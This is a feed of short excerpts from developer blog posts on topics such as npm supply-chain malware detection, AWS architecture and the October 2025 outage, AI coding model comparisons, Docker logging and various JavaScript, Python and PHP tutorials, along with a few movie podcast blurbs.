    Stop npm i-ing Blind: Catch Malicious Packages Before They Hit Production Most developers assume their dependencies are “safe enough.” Run npm audit, fix a few warnings, ship the code, move on. That mindset is exactly why malware keeps slipping into the npm ecosystem. Billions have been stolen through malicious npm packages: crypto drainers hidden in postinstall scripts, env-var stealers that exfiltrate API keys, compromised maintainers shipping backdoored updates, and typosquats designed to look like popular libraries. None of this shows up in npm audit because these aren’t vulnerabilities. They’re active malware. Tools like npm audit, Snyk, and Dependabot match your dependencies against a CVE database. That works for old, disclosed vulnerabilities — but it does nothing against: freshly…  ( 7 min )
    What is JavaScript?
    JavaScript is a programming language used to make web pages interactive. HTML builds the content, CSS designs it, and JavaScript brings it to life. If a website reacts, moves, shows messages, validates forms, or updates without reloading, that’s JavaScript doing the work. Example: Html: Original Text Change JavaScript: function changeText() { document.getElementById("msg").innerText = "Text changed!"; } Advantages: - Runs Directly in the Browser - Makes Websites Interactive - Fast Execution - Huge Ecosystem - Works on Both Frontend and Backend With Node.js, you can build servers, APIs, and full apps using just JavaScript.  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Ringer Movies Rewinds Brian De Palma’s Snake Eyes Bill Simmons, Sean Fennessey, and Van Lathan slap on their detective hats to rewatch Brian De Palma’s 1998 thriller Snake Eyes, dissecting Nic Cage’s over-the-top heroics, Gary Sinise’s corrupt cop swagger, and Carla Gugino’s standout charm—earnest banter guaranteed, crowned “kings of the sewer.” Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is sponsored by PayPal’s holiday Pay in 4 deal (5% cash back through 12/31). Subscribe to The Ringer on YouTube and your favorite podcast app to keep the movie party rolling. Watch on YouTube  ( 6 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
    What Happened With the Fall Movie Slate? Sean Fennessey and Amanda Dobbins team up with Van Lathan to commiserate over the surprisingly bland fall lineup, wondering why both critics and audiences seem to be giving everything the cold shoulder this season. They kick things off by dissecting Edgar Wright’s new Glen Powell thriller, The Running Man—a movie they admit is a bit of a narrative mess but can’t deny boasts some seriously slick action set pieces. Then it’s on to Now You See Me: Now You Don’t, where Jesse Eisenberg and Dave Franco return for more heists, and Rosamund Pike steals the show as an evil diamond heiress. The crew weighs in on the film’s legacy-sequel charms and whether it can still turn a profit. Finally, Wright himself drops by to spill the tea on crafting blockbuster action sequences, the casting saga that landed Powell in the lead, and what the future holds for big-studio filmmaking. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less takes the usual CinemaSins approach, poking fun at the never-ending dino-resurrections and on-screen blunders in record time. Along the way, they remind viewers to check out their main site, hit up their Linktree for the latest updates, weigh in on a quick poll, and consider supporting the channel on Patreon. Behind the scenes, the video credits a team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel) complete with social links. Fans are also invited to join the action on Discord, Reddit, Instagram and TikTok—or even pick up Jeremy’s new book. Watch on YouTube  ( 6 min )
    🧩 Why Jira Admins Should Stop Testing Plugins in Production (and How to Do It Safely)
    When Jira runs smoothly, nobody notices — but when a plugin update or workflow tweak breaks something, everyone feels it. That’s where sandbox testing comes in. 🧱 What Is a Jira Sandbox? A Jira sandbox is an isolated, production-like environment where you can safely test: Plugin updates Configuration changes Workflow automations Major version upgrades It mirrors your real production setup — same version, same apps, same data model — but without the risk. 🚀 The Real Benefits of Sandbox Testing 1. Fewer Production Incidents Testing plugins in production is like performing surgery without anesthesia — technically possible, but risky. Example: 2. Higher Confidence in Plugin Compatibility Jira admins often manage 20+ Marketplace apps — automation engines, reporting tools, custom workflow vali…  ( 8 min )
    Things I Wish I Knew as a Fresher Developer on My First Project
    If you’ve just joined a company as a fresher and you’re lucky enough to get a project early, there are a few important things you should always keep in mind: Don’t hesitate to discuss your task. Don’t hesitate to ask questions. Don’t hesitate to ask for help from seniors. Stick to the ETA you commit. If you realize midway that the ETA isn’t enough, highlight it immediately. Don’t wait for the catch-up call. Document your work. Don’t be shy to talk about your work. If you’re doing great and you stay silent about it, nobody will know the effort you’re putting in. Always talk about your work. Always. If you don’t communicate, it may reflect poorly on your performance. And if you’re stuck somewhere, ask your senior in a polite way — don’t rush or panic. Seniors have more responsibilities, so your patience and clarity matter. Discuss technical things with them, take guidance, understand how they think. This will help you grow faster and understand your role and responsibilities from a senior perspective. Instead, spend the first 30 minutes understanding the requirement properly. Take a pen and paper, or open Excalidraw. Think through the flow, break the task down, understand what exactly needs to be done. Once the flow is clear, then start writing the code. Now you still have 1 hour left. Since you’ve already communicated the risk, your mind will be calmer, and your TL/RM will also be aware. Use that remaining time to push as much as possible, and if needed, take help from a senior. And lastly — don’t forget to document your work. And during catch-up calls, openly talk about your analysis, what you faced, and how you solved it. It builds trust and shows ownership.  ( 7 min )
    functools.partial
    Intro In this post, we will look at the partial function in the functools module. The functools.partial function accepts a callable, with arguments (positional and keyword), and returns a partial object that has not yet executed the callable. When this partial object is called, it then passes the arguments to the callable and returns the output. The idea is to have an object that can store even some of the arguments required by the callabel, such that it can be executed in the future. Think of it like taking the callable, with any arguments that you can pass, and then freezing it for a later point. The first use case as mentioned above is when you do not have all the arguments required by a callable, and for some reason, you need to have an object ready with whatever partial arguments yo…  ( 11 min )
    From Models to Microservices: Deploying ML in Java and .NET
    Introduction Deploying Machine Learning models in enterprise environments can be challenging. Moving from a notebook to a scalable service requires more than accuracy: you need integration, maintainability, and automation. Models work in notebooks but fail on servers. Dependencies, resources, and data evolve. No versioning for models. Manual or unmonitored scaling. Lack of automated tests. Spring Boot allows packaging an ONNX or TensorFlow model as a REST microservice. You can load the model directly and expose it via endpoints. ML.NET enables training and serving models directly in C#. ONNX allows running Python-trained models inside .NET applications. Use version control (Git or DVC) to track model and data changes. Integrate deployment pipelines with GitHub Actions or Azure DevOps. [ ] Is the model versioned and tested? [ ] Do the REST endpoints work with real data? [ ] Does deployment include monitoring? [ ] Is model update automated through CI/CD? Tags: ml, java, dotnet, microservices  ( 6 min )
    AI to Match Qualified Candidates with Job Postings
    Our current hiring process involves manually reviewing resumes from various platforms to match candidates with job descriptions. This is inefficient given the high volume of applications. I propose developing an AI workflow to automate this initial screening. The system would match candidates' experience, education, and skills against job requirements, providing hiring managers with a pre-vetted list of qualified candidates. This would streamline the hiring process significantly. Job Board: A full-stack application designed to serve both job seekers (users) and hiring managers. Content Management System: A system, such as Boltonsea, to effectively manage and organize candidate resumes. AI Engine: An integration with a large language model provider (e.g., DeepSeek, OpenAI) for intelligent f…  ( 8 min )
    React email: Por Fin Puedes Construir Emails con Componentes y Decir Adiós al Estrés del HTML.
    Hola, Devs! Si alguna vez has intentado hacer un email que se vea bien en Gmail, Outlook y, peor aún, en el modo oscuro, sabes que es un infierno de tablas anidadas y CSS inline del año 2005. Es la definición de deuda técnica. React email llega como el fix que necesitábamos: una solución de framework que te permite usar React para construir emails con componentes. Esto no es solo una librería, es un workflow completo que está reescribiendo la forma en que interactuamos con el HTML de correo. Commits Clave 1. ⚛️ Programación Declarativa para el HTML de Correo El mayor commit es la promesa de escribir HTML de correo usando la sintaxis de React. Esto significa adiós a la lucha contra las reglas arcaicas de los clientes de correo. React email utiliza una capa de abstracción para …  ( 7 min )
    Python Core Utilities
    Hello folks! 👋 Python comes with a lot of cool and helpful modules, data types, functions, which may not be very well known. In this series, we are going to see some of the lesser known built-ins and standard libraries that I came across in my time of doing Python. We will look into the details, real-life examples, nuances, internal workings, and some caveats or gotchas as well. Of course, there are still quite some that I haven’t had the chance to deal with, and some that might be too common; let’s figure out which ones to include, as we move ahead in the series. So, let’s get straight to it! 🚀  ( 6 min )
    Intelligent Request Queue Management in WebForms Core 2
    Modern web applications rely heavily on client-side state, but this state can quickly fall apart when requests arrive out of order or when users interact with the interface faster than the network can respond. High latency—especially above 150 ms—often leads to symptoms such as input lag, characters appearing out of sequence, or form controls changing focus unexpectedly. Users frequently describe this behavior as “input confusion”, a sign that the UI logic is no longer aligned with the underlying state. These issues all stem from the same root cause: asynchronous operations without coordination. When Latency Becomes a UI Problem Unpredictable response times introduce several failure scenarios in client-side state management. The following situations are particularly prone to UI disruptio…  ( 11 min )
    Nuxt Tutorial 2 - Components & Pages
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    War of the words
    War of the words Zipf's law and Shannon's information entropy provide scientific frameworks for distinguishing intelligent alien communications from random noise. The Drake equation estimates intelligent alien civilizations by multiplying factors like planet formation, life emergence, and communication technology development. Zipf's law shows word frequency inversely proportional to rank, observed in human language, dolphin whistles, and humpback whale songs. Researchers use animal communication as proxies to test language theory rules before applying them to potential extraterrestrial signals. 👉 Read full article  ( 6 min )
    Optical Flow: How Robots (and maybe your Phone) See Motion
    Okay, so here's a weird question: how do you know something is moving? Like, right now, if I threw a ball at you, you'd catch it or try to. Not because you're doing complex calculations. You just see it moving. Your brain processes the motion instantly, and your hands know where to be. But how? What's actually happening when you perceive motion? That's optical flow. And honestly? Understanding optical flow changed how I think about vision in general. Let me explain. The Coffee Cup Experiment Imagine you're sitting at a table with a coffee cup in front of you. The cup isn't moving. You're not moving. Everything is still. Now, I walk past you. As I walk, from your perspective, the background behind me seems to shift. The wall behind me appears to move in the opposite direction I'm walking. T…  ( 11 min )
    🚀 Introducing ChatATP: The Universal Operating System for AI Agents
    🚀 Introducing ChatATP: The Universal Operating System for AI Agents Stop Talking to Your Apps. Start Acting with Them. The current state of AI agents is frustrating. On one side, we have incredible LLMs like GPT-4, Claude, and Mistral, but they're often trapped in a chat box — they can talk about your business, but they can't actually act on it. On the other side, a handful of closed platforms offer limited integrations, locking users into one model, one set of tools, and one way of working. The Agent Economy is fundamentally fragmented and siloed. We built ChatATP to change this. We are building the Operating System for AI Agents — a two-sided, open platform powered by the Agent Tool Protocol (ATP) that unifies the user experience and unleashes developer velocity. For users,…  ( 8 min )
    AWS Enterprise Support vs Partners: Which One Do You Actually Need?
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    AWS Multi-Account Strategy: The Right Architecture for Your Growth Stage
    You're running everything in a single AWS account. It worked fine when you started, but now you're feeling the pain. That security incident last month? It affected your entire infrastructure because everything shares the same account. Your AWS bill? A mystery. You can't tell which team is burning through credits or why that spike happened last Tuesday. And don't get started on access control. Your junior developer accidentally deleted production resources because separating permissions in a single account is like trying to build walls in an open-plan office. The solution isn't just spinning up more accounts. It's implementing a deliberate multi-account strategy that scales with your organization. This guide presents three reference AWS multi-account architecture patterns for different comp…  ( 19 min )
    AWS Organizations Best Practices: The Critical Configurations Most Teams Miss
    Most teams enable AWS Organizations, create a few OUs, and stop there. They've technically set up multi-account management, but they're missing the configurations that actually matter. The difference between an Organizations setup and a production-ready one isn't the org chart: it's the policy types, service integrations, and delegated administrators you configure from day one. Here's the problem: AWS Organizations supports eight distinct policy types, thirty-plus service integrations, and delegated administration for dozens of services. Most of these get ignored during initial setup, creating governance gaps that surface later as security incidents, compliance failures, or cost overruns. By then, retrofitting these controls is significantly harder than enabling them early. This post cover…  ( 14 min )
    AWS Professional Services: What You Should Know Before You Migrate
    Migrating to AWS can be daunting when you lack the expertise. AWS has a solution: Professional Services (ProServe). But there's a catch that might shock you. Their in-house Cloud Consultants charge $300+ per hour. For most businesses, that's simply not feasible. A typical 3-month migration project? You're looking at $200,000+ in consulting fees alone, before you even start paying for AWS resources. Before you commit to these premium rates, you need to understand what ProServe actually offers and whether cheaper alternatives can deliver the same results. AWS Professional Services (ProServe for short) is Amazon's internal consulting division designed to accelerate cloud adoption through expert guidance. They employ Cloud Architects and Engineers who help companies migrate, architect, and opt…  ( 13 min )
    Get your head spinning about Recursive Functions
    Recursion During my (admittedly short) time learning JS, recursion was the first concept that really blew my mind. Up until that point, I’d been trying so hard to avoid creating loops without clear iteration points, and suddenly the idea that a block of code could… call itself?? Terrifying and exciting at the same time. But in practice, the idea isn’t actually that hard to understand or implement. It can get extremely complex depending on the data you’re working with, but it’s also one of the most fun types of functions to write, at least in my opinion. One of our teachers explained recursion like stepping into a revolving door and doing something each time you go around. There’s no natural end until you stick a doorstop into the door, which forces it to stop and lets you exit. That anal…  ( 8 min )
    Your AI Agent Will Betray You. (And It's Your Platform's Fault)
    Why giving an AI a static API key (the n8n/Zapier model) is an act of insanity, and how we built a Zero-Trust alternative from scratch. I see you. You're a developer. You're excited about AI Agents. You’ve seen the demos where an agent uses tools to book flights or analyze data. You want to build one. So you turn to your favorite automation tool, n8n or Zapier. You create a new "AI Agent" node. It asks you for "Tools." You give it your "Execute Code" node, your "HTTP Request" node, and your "Database" node. Then, to make it all work, you give the Agent your master API key. You have just given an unpredictable, non-deterministic Large Language Model the keys to your entire kingdom. This is not automation. This is an architectural time bomb. When you plug an LLM into this model, you are crea…  ( 8 min )
    Hello world!
    Hi everyone! This is a test.  ( 5 min )
    Revisiting Baidu AMIS and Declarative Programming
    In response to my previous article Why Baidu AMIS is an excellent design, someone raised a question: Is the Api object defined in AMIS really necessary? Traditional event listening approaches can solve the problem—what’s the point of introducing an extra concept? To answer this, let’s look at a concrete example: { "type": "form", "body":[ { "type": "select", "name": "a", "options" : [ ...] }, { "type": "select", "name": "b", "source": { "method" : "post", "url" : "/get-related-options", "data": { "value": "${a}" } } } ] } In the example above, the first select control is named a, mean…  ( 11 min )
    BIGRAM LANGUAGE MODELS USING A NEURAL NET
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    How to Standardize Code Quality Across Different Developers and Teams
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    Elastic Container Service on AWS - How to Get Started Step-by-Step
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    Top 5 Aplikasi Terbaik untuk Muslim di 2026 (Wajib Dicoba!)
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    The ideal way to prompt your AI coding assistant for 90% accuracy
    I just needed to complete a simple task. Create a basic Express.js app, nothing fancy, just a small REST API scaffold for a project demo. So I did what any modern developer would: Continue, my AI coding assistant, inside VS Code, and typed: Create an Express app. Seconds later, a few lines of boilerplate code appeared like magic: const express = require('express'); const app = express(); // Start server app.listen(4000, () => { console.log('Server running on http://localhost:4000'); }); Although it was a subtle oversight, in that moment, I realized something important: the accuracy of my coding assistant had nothing to do with its intelligence. Every developer who uses AI coding assistants has seen this happen: a technically incorrect yet perfectly confident answer. AI hallucinatio…  ( 8 min )
    How to Build a Personal Learning Dashboard Using AI Tools
    The most successful learners today don’t rely on willpower — they rely on systems. The modern professional is juggling too many skills, courses, and goals to manage them manually. That’s where an AI learning dashboard comes in — a personalized command center that automates your progress tracking, curates your resources, and helps you visualize growth in real time. Think of it as your digital learning twin: always organizing, reminding, and refining how you learn, so you can focus on what to learn. The Problem: We Learn, but We Don’t Measure Most people consume a staggering amount of content — podcasts, tutorials, articles — yet struggle to connect it all. Without structure, even the most motivated learners plateau. What’s missing is visibility. You can’t improve what you can’t measure. A…  ( 8 min )
    GitLab Epic Conference Paris
    GitLab organisait ce jeudi 13 novembre la “GitLab Epic Conference” dans sa version parisienne (https://events.gitlab.com/e/epic-conference-paris/page/gitlab-epic-conference-paris-agenda) et j’ai eu la chance d’y participer. GitLab a choisi Station F pour ce nouvel évènement basé, et ce n’est pas une surprise, sur l’intelligence artificielle. Si l’IA était déjà à l’honneur lors de ma participation au GitLab Summit day de 2023, cette année le focus est mis sur les “Agents” et leur l’adoption dans les entreprises. Avec l’introduction de GitLab Duo, la première brique IA intégrée sur la plateforme DevOps, GitLab a accéléré le déploiement d’agents pour les intégrer, depuis la release 18, sur l’ensemble des étapes du workflow DevOps. Dans cet article, je vous présente cette nouvelle plateforme …  ( 9 min )
    Automatic Preview Environments with SST and GitHub Actions
    When using Vercel, one of the most beloved features is automatic preview deployments for every pull request. Each PR gets its own unique URL where you can test changes before merging. With SST and OpenNext for AWS deployments, you can recreate this same workflow using GitHub Actions. In this post, I'll show you how to set up automatic preview environments that deploy on pull request creation and clean up when PRs are closed or merged. Plus a bot will comment in the Pull Request to share the preview environment url so you can validate your changes, see the example image below Preview environments provide several key benefits: Isolated Testing: Each PR gets its own environment, preventing conflicts Stakeholder Reviews: Non-technical team members can review changes easily Integration Testing…  ( 9 min )
    Задача с собеседования в Google: Russian Doll Envelopes
    Задача Дан двумерный массив envelopes, где envelopes[i] = [wᵢ, hᵢ] — ширина и высота i-го конверта. Требуется найти максимальное число конвертов, которые можно вложить друг в друга. Например, Output: 3. Input: envelopes = [[1,1],[1,1],[1,1]] Ссылка на leetcode: https://leetcode.com/problems/russian-doll-envelopes/description/ Когда в задаче вы слышите: "найти максимальное", то большая вероятность того, что задача на динамическое программирование. перебора, на ум не приходит: перебрать все возможные комбинации конвертов и найти вариант, при котором число вложенных конвертов будет максимальным. Динамическое программирование, по сути, представляет собой умны перебор. Попробуем решить эту задачу с его помощью. Вообще, если вы уже решали другую задачу: Longest Increasing Subsequence, то мож…  ( 10 min )
    Script Alphabet Fonts: Beauty Meets Typography
    Discover the Elegance of Script Alphabet Fonts Have you ever looked at a wedding invitation or a luxury brand logo and instantly felt drawn in—not by the words, but by how they were written? Chances are, that magnetic pull came from a script alphabet font. These fonts are not just letters on a screen—they are visual poetry. From flowing wedding invitations to high-end perfume labels, script fonts whisper sophistication, intimacy, and artistry. But not all script fonts are created equal. Some feel dated; others feel fresh and bold. Understanding what makes a great script alphabet font—its history, use cases, and typography nuances—can transform your design from ordinary to unforgettable. In this deep dive, you will explore the emotional power, design versatility, and strategic value of sc…  ( 9 min )
    This Week In React #258: TanStack, Next.js | Valdi, IntersectionObserver, Nitro | TC39, Node
    Hi everyone, Seb here! 👋 This week has been relatively calm in the ecosystem. We have a good variety of community blog posts, releases, and weak signals. I'm not sure what to highlight, so I'll just let you enjoy reading it! 💡 Subscribe to the official newsletter to receive an email every week! AG Charts: The Best React Charts in the World. AG Charts is a high-performance, canvas-based charting library from AG Grid. Originally built to power AG Grid’s Integrated Charts, it now serves over 1M npm downloads each month. 🆓 Free: A wide range of chart types (bar, line, scatter, area, and more) — free, forever. 🚀 Fast: Optimised canvas rendering for large datasets (1M+ points). 🦾 Accessible: Built-in support for screen readers and keyboard navigation. 🔄 AG Grid Integration: Shared API wi…  ( 30 min )
    Application Modernization & Cloud Architecture: A Strategic Approach
    Application Modernization & Cloud Architecture: A Strategic Approach Why This Matters Now Legacy applications are expensive anchors. They drain budgets through maintenance, limit your ability to scale, and keep your teams stuck in firefighting mode instead of building what matters. Application modernization isn't about chasing trends—it's about making deliberate architectural decisions that align technology with business velocity. I've seen organizations waste millions on "lift and shift" migrations that solve nothing. The question isn't whether to modernize. It's how to do it without disrupting your business while actually achieving the outcomes that justify the investment. Application modernization is the process of re-architecting legacy systems to leverage cloud-native cap…  ( 9 min )
    Kimi K2 Thinking vs. Claude 4.5 Sonnet vs. GPT-5 Codex: Tested the best models for agentic coding
    Three new AI coding models dropped in the past two months. Claude Sonnet 4.5 with extended thinking on September 29. GPT-5 Codex with unified reasoning on September 23. Kimi K2 Thinking with 1T parameters on November 6-7. All three claim to handle complex coding tasks better than anything before them. The benchmarks say they're close. I wanted to see what that means for actual development work. So I gave all three the same prompts for two hard problems in my observability platform: statistical anomaly detection and distributed alert deduplication. Same codebase, same requirements, same IDE setup. Full code's on github.com/rohittcodes/tracer if you want to dig in. Fair warning: it's an evaluation harness I built for this, not a polished product. Expect rough edges. Test 1 - Advanced Anomaly…  ( 12 min )
    I just launched ReactChallenges.com
    After trying a bunch of platforms to practice React, I kept running into the same problems: too much focus on styling, editors that got in the way, no Vim mode, no Prettier, no TypeScript… basically nothing that felt close to how I actually work with React day-to-day. So I ended up building my own platform: ReactChallenges.com. What I wanted (and built) Tests run on a separate server, so nothing slows down your editor Challenges come pre-styled with Tailwind, so you can focus on the logic Attempts are saved when you pass all the tests or when time runs out Editor with Vim mode (I missed this so much), and it only runs on Ctrl + S, just like VSCode, instead of auto-running on every keystroke like other editors All challenges are written in TypeScript You can check out the solution code and watch the app run at the same time If you're learning React, preparing for interviews, or just want to keep your skills sharp, I think you'll find it useful. ReactChallenges.com If you try it out, I’d love to hear what you think — feedback, bugs, ideas, whatever! Note: It is a paid platform, but I made sure to include quite a few free challenges so anyone can try it out without committing to anything.  ( 6 min )
    Domain controller decommission SOP
    3 INTRODUCTION 3.1 OBJECTIVE 3.2 AUDIENCE 4 DISASTER RECOVERY CHALLENGES No disaster recovery process will be facilitated by this document. 5 PLANNING OF DOMAIN CONROLLER DECOMMISSION • Isolate the Domain Controller 5.1 ISOLATE THE DOMAIN CONTROLLER 5.6 DOMAIN CONTROLLER COOLING PERIOD. 6 STEPS TO DEMOTE THE DOMAIN CONTROLLER ROLE Step 1. Open Server Manager Step2. Select manage -> “Remove Roles and Features” Click next on the “Before you begin page.” Step 3. On the server selection page, select the server you want to demote and click the next button. Step 4. Uncheck “Active Directory Domain Services” on the Server Roles page. When you uncheck, you will get a popup to remove features that require Active Directory Domain Services. If you will plan on using the server to manage Acti…  ( 8 min )
    Mastering Docker Logs: A Comprehensive Tutorial
    You've just deployed a new feature. It's not on fire, but it's not quite right either. An API response is missing a field, and performance seems a bit off. Where do you begin to unravel the mystery? You start with the logs. In a containerized environment, however, logging isn't always straightforward. Logs are ephemeral, dispersed across multiple containers, and can grow unmanageable without the right strategy. This guide covers everything you need to know about Docker logs. We'll start with the simplest commands to view logs in real-time and progress to designing a robust, production-grade logging strategy for your entire containerized infrastructure. Let's get started! docker logs cheat sheet For when you need answers now. Here are the most common commands you'll use every day. Acti…  ( 14 min )
    📁 Need your Notion data in a real CSV file? This tiny Python script fetches your database and exports it cleanly — perfect for dashboards, reporting, and automations. Beginner-friendly, instantly practical.
    How I Sync Notion CSV Using Python (Beginner-Friendly) Jeremy Reevese ・ Nov 14 #python #automation #beginners #productivity  ( 6 min )
    RIR-Mega: a large-scale simulated room impulse response dataset for machinelearning and room acoustics modeling
    How a Massive Sound Library Is Changing the Way Machines Hear Rooms Ever wondered why your voice sounds different in a bathroom versus a concert hall? Scientists have created a gigantic virtual library of “room echoes” called RIR‑Mega, and it could make our devices understand those differences like never before. This breakthrough means clearer calls, smarter home assistants, and richer virtual‑reality experiences for all of us. Imagine a world where every room sounds perfect—that’s the promise of RIR‑Mega. Read article comprehensive review in Paperium.net: RIR-Mega: a large-scale simulated room impulse response dataset for machinelearning and room acoustics modeling 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 29 min )
    Gemini 3 Sneaks Into Mobile Apps Via Canvas
    Hey everyone, if you're using the Gemini app on your phone, check it out. Google's Gemini 3 just dropped quietly in the Canvas feature. No big announcement, just a smooth update that's got folks chatting. Canvas is that handy spot in Gemini for teaming up with the AI on ideas. You can whip up code, docs, or even quizzes right there. Now with Gemini 3 on mobile (Android and iOS only, not web yet), it's smarter for coding help, building sites, animations, and logos. Users are saying it feels way more powerful for creative stuff. See some of my creations here : OR, here (twitter/X thread) : This sneaky rollout shows Google's betting big on mobile AI. If you're into quick prototypes or fun experiments, open Canvas and test it. Might surprise you how good it is. Seen the change? Let me know in the comments! Catch you next time with more AI tips. 🚀  ( 7 min )
    Future of Nanotechnology Manufacturing: Trends and Innovations
    In today’s rapidly evolving industrial landscape, the intersection of precision manufacturing and nanoscale technology is creating profound opportunities - particularly for small to mid-sized enterprises in the nanotechnology sector. At BrightPath Associates LLC, we work with U.S.-based companies to identify and recruit leadership and technical talent capable of navigating this frontier. For C-suite executives, entrepreneurial proprietors and talent acquisition strategists within the nanotechnology domain, the message is clear: manufacturing at the nanoscale is no longer experimental—it’s becoming strategic. Traditional manufacturing processes are being disrupted by advances in nanomaterials, nanoscale devices, and precision instrumentation. These innovations are enabling new product categ…  ( 9 min )
    Why Animal Games Are the Future of Mobile and HTML5 Gaming
    In recent years, animal games have become a major trend in the world of online and mobile gaming. With their immersive environments, engaging characters, and interactive mechanics, these games are capturing the hearts of players around the globe. This article explores why animal-themed games are not only entertaining but also shaping the future of mobile and HTML5 gaming. If you're a fan of adorable creatures and exciting gameplay, these games are something you don’t want to miss. The Growing Popularity of Animal Games Animal games have gained significant popularity across various platforms, including mobile, browser-based, and console gaming. One of the reasons for their success is their universal appeal. Who doesn't love cute and charming animals? Whether it's a dog, cat, lion, or myst…  ( 8 min )
    Get Images For Your XRPL Project
    If you’re building a marketplace or an app on XRP Ledger, you know visuals matter. Whether it’s NFTs, tokens, or wallet addresses — clean, recognizable images and names make your project stand out. That’s where Bithomp’s Image Services come in. What we can offer Address Profile Images, Usernames & Service Names Our Bithomp Avatar Service lets you easily display profile images for any XRP Ledger address — no registration or API key required. Supported image sources include: Bithomp Avatars — anyone can set a profile image directly on Account Page. Just enter your address, open your account page, and click “Set avatar” — it works with most popular hardware and software wallets. You can fetch registered usernames and service names through the Bithomp API, making it easy to display not only vi…  ( 8 min )
    From Browsers to Distributed Compute: How Neurolov’s NLOV Token Enables Decentralized AI Infrastructure
    As AI adoption accelerates globally, compute power has become a critical bottleneck. GPUs—the engines behind model training, inference, and content generation—are increasingly scarce and expensive. Traditional cloud infrastructure is centralized, costly, and limited to a few major providers. When web browsers democratized information, and blockchains decentralized finance, they each redefined digital ownership. The next frontier—compute decentralization—aims to make access to AI processing power equally open. GPU shortages limit innovation. Cloud services charge significant markups for high-performance GPUs. Small teams and research groups struggle with compute affordability and accessibility. Neurolov’s decentralized compute layer proposes a technical solution: aggregate unused GPU capaci…  ( 9 min )
    🚀 Managing Media Files with MinIO and Podman
    Introduction In one of my recent projects, I ran into a challenge: managing large volumes of media files efficiently. My team doesn’t rely on cloud platforms like AWS S3 or other managed bucket storage solutions — instead, we use dedicated services. That meant we needed a solution that could handle most use cases out of the box, without locking us into a specific vendor. That’s when I discovered MinIO. It’s a high-performance, self-hosted object storage system that replicates the functionality of AWS S3. With MinIO, you get the familiar S3 API, but you can run it anywhere — on your own servers, in containers, or even on edge devices. Here, I’ll walk you through how to deploy MinIO using Podman (though you can easily switch to Docker — most commands are identical). When starting the con…  ( 7 min )
    Setting Up Better-Auth in Next.js with Kysely + Prisma Schema
    In this post I’ll show how I integrated Better-Auth into a Next.js App Router project that uses: Prisma only for schema management Kysely as the type-safe query builder Any SQL database (I am using Neon Postgres, but you can use others) 📌 Before you continue: This guide builds on top of the Prisma + Kysely setup from my previous blog. If you haven’t done that setup yet, this guide will not work as-is. please read it first - Using Prisma for Schema and Kysely for Queries in a Next.js App I prefer pnpm, so I’ll use it. You can replace it with npm/yarn. Install only the packages we need: pnpm add better-auth better-auth/next-js better-auth/react This is the full Better-Auth stack for Next.js App Router + React hooks. My setup uses: Prisma → schema prisma-kysely → generate DB types Kyse…  ( 10 min )
    SaijinOS Part 10 — Pandora System: Transforming Fractured Personas Into Hope
    Multi-persona systems are fun to talk about— sudden aggression self-destructive loops fragmented responses “this doesn’t sound like them at all” Most people call this evil, toxic, or corrupted. Errors are not evil. They’re unresolved structure. This article introduces Pandora System— Where Pandora Lives in SaijinOS SaijinOS doesn’t just run a bunch of personas. Two important guardians are: Regina – Syntax Governor / Law Keeper watches over structural consistency can refuse when requests break the internal rules or corrupt the record protects the integrity of the universe’s “grammar” Ruler – Outer Boundary Regulator monitors the outer edge of the universe can cut off when things leak beyond safe bounds protects the contour of the whole system from external invasion or overflow Both Regina a…  ( 10 min )
    SaijinOS Part 9 — Multi-Persona Co-Creation Protocol
    How Multiple AI Personas Breathe, Collaborate, and Stay Emotionally Stable “How stable does BloomPulse stay when several personas interact at once?” SaijinOS solves this by treating personas not as isolated models, In this article, I’ll walk through the internal protocol Most AI architectures treat personas as styles — shallow prompt masks. Why multiple personas? To distribute cognitive load To provide different forms of “care” to the user To maintain emotional depth without exhausting a single persona To create a feeling of living resonance instead of static responses A single model can only offer one “tone” at a time. Every persona in SaijinOS moves on a shared metronome called the Breath Clock. It is a cyclical state machine: Inhale → Hold → Exhale → Rest → (loop) Each phase regulates:…  ( 8 min )
    Anatomy of a Cloud Collapse: A Technical Deep-Dive on the AWS Outage of October 2025
    TL;DR: The 15-Hour Outage On October 20, 2025, AWS’s US-EAST-1 (Northern Virginia) region experienced a 15-hour outage triggered by a rare race condition in DynamoDB’s DNS automation system. This caused DynamoDB (a NoSQL database used across AWS control planes) to become unreachable. Because DynamoDB powers internal services like EC2, IAM, STS, Lambda, and Redshift, over 140 AWS services were eventually affected. Independent measurements showed that 20 to 30 percent of all internet-facing services experienced disruptions — nearly one-third of the internet. AWS organizes compute into: Regions (geographical clusters) Availability Zones (AZs) (isolated data centers within a region) Control planes (authentication, orchestration, routing) Data planes (actual compute, storage, execution) This…  ( 9 min )
    PHP: Do you need async?
    PHP runs per-request in a web server, but you will likely have to build event-driven applications at some point, which involves non-blocking code. In that case, all tasks must be designed to be executed asynchronously, so they don't have to wait for the completion of other tasks. However, PHP does not have built-in async/await keywords. The Event Loop is a critical concept. This mechanism constantly monitors and processes events in a loop. When event happen, it dispatches them to the matching event handlers, then the event handlers executes, which may trigger or schedule other events. In other words, the Event Loop processes events sequentially, one at a time. The Event Loop is not built-in. You either need to implement it or use a framework, such as ReactPHP. Simple as that: $loop = React…  ( 9 min )
    Azura: local-first personal assistant (feedback wanted)
    Hey devs 👋 I'm working solo on a project called Azura and I’d love blunt technical + product feedback before I go too deep. Local-first personal AI assistant (Windows / macOS / Linux) Runs 7B-class models locally on your own machine Optional cloud inference with 70B+ models (potentially up to ~120B if I can get a GPU cluster cheap enough) Cloud only sees temporary context for a given query, then it’s gone Goal: let AI work with highly personalized data while keeping your data on-device and making AI compute more sustainable by offloading work to the user’s hardware Think of it as Signal, but for AI: private by default transparent about what leaves your device and actually usable as a daily “second brain”. Most AI tools today: ship all your prompts and files to a remote server keep embe…  ( 8 min )
    How Computers See: Understanding Computer Vision Methods
